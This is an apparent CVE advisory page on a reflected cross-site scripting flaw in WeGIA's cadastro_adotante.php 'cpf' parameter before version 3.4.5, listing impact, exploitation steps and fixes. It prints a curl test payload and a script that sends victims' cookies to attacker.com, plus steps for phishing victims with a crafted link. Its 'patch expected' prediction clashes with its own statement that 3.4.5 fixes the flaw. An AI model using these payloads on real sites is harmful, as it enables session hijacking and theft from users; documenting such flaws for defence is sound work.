Listen to this Post
How the CVE Works
The vulnerability exists in the `cadastro_adotante.php` endpoint of WeGIA before version 3.4.5. Attackers can exploit this by injecting malicious JavaScript code into the `cpf` parameter, which is then reflected back in the web page without proper sanitization. Since the input is not validated or encoded, the script executes in the victim’s browser when they interact with the manipulated URL. This allows session hijacking, defacement, or redirection to malicious sites. The fix in 3.4.5 involves proper input sanitization and output encoding.
DailyCVE Form
Platform: WeGIA
Version: <3.4.5
Vulnerability: Reflected XSS
Severity: Medium
Date: 07/16/2025
Prediction: Patch expected by 08/10/2025
What Undercode Say
curl -X GET "http://example.com/cadastro_adotante.php?cpf=<script>alert(1)</script>"
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
How Exploit
- Craft malicious URL with XSS payload in
cpf.
2. Send phishing link to victims.
3. Execute arbitrary JavaScript in their session.
Protection from this CVE
1. Update to WeGIA 3.4.5.
2. Sanitize `cpf` input.
3. Implement CSP headers.
Impact
- Session hijacking.
- Data theft.
- Malware delivery.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
